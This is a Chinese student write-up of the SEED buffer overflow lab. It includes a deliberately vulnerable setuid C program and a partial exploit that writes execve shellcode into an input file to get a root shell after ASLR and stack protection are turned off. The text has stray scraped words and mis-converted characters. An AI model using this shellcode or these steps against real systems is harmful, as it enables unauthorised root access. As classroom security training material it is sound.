2017-2018-2 20179215《網絡攻防實踐》seed緩衝區溢出實驗

seed緩衝區溢出實驗

有漏洞的程序:shell

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

編譯以上易被攻擊的程序並用 setuid 機制設置其有效執行用戶爲 root。你能夠經過用root 賬戶編譯並 chmod 可執行到 4755 來實現。安全

注:以上程序有一個緩衝區溢出漏洞。它一開始從一個叫「badfile」的文件讀了一個輸入,而後將這個輸入傳遞給了另外一個 bof()功能裏的緩衝區。原始輸入最大長度爲 517 bytes,然而 bof()的長度僅爲 12 bytes。因爲strcpy()不檢查邊界,將發生緩衝區溢出。因爲此程序有效執行用戶root。若是一個普通用戶利用了此緩衝區溢出漏洞,他有可能得到 root shell。應該注意到此程序是從一個叫作「badfile」的文件得到輸入的,這個文件受用戶控制。如今咱們的目標是爲「badfile」建立內容,這樣當這段漏洞程序將此內容複製進它的緩衝區,便產生了一個 shell。app

任務:攻擊漏洞

咱們提供給你一段部分完成的攻擊代碼「exploit.c」,這段代碼的目的是爲「badfile」建立內容。代碼中,shellcode 已經給出,你須要完成其他部分。ui

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[ ]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

完成以上程序後編譯並運行,它將爲「badfile」生成內容。而後運行漏洞程序棧,若是你的攻擊正確實現,你將獲得一個shell。this

實驗過程:
(1)進入seed系統後,使用 sudo su命令提權:code

(2)Ubuntu 和其它一些 Linux 系統都 適用了地址空間隨機化機制(ASLR)來隨機變化堆棧的起始地址。這將使猜想精確的地址很是 困難,猜想地址是緩衝區溢出攻擊中關鍵的一步。在這個實驗中,咱們使用下面的命令關閉 ASLR:編譯器

(3)另:GCC 編譯器中實現了一種」Stack Guard」的安全機制來防止緩衝區溢出。你能夠關 閉該保護當您編譯時使用-fno-stack-protector。例如,編譯一個叫 example.c 的程序而且不使 用 Stack Guard,你應該使用下面的命令: gcc -fno-stack-protector example.cstring

不使用Stack Guard機制的GCC編譯stack.c程序,並提權:it

注意上述操做完成後要切換爲普通用戶,終端鍵入:exit:io

(4)編譯exploit,並執行以下操做,發現成功取得了root shell:

(5)使用命令id檢測下,攻擊成功:

相關文章
相關標籤/搜索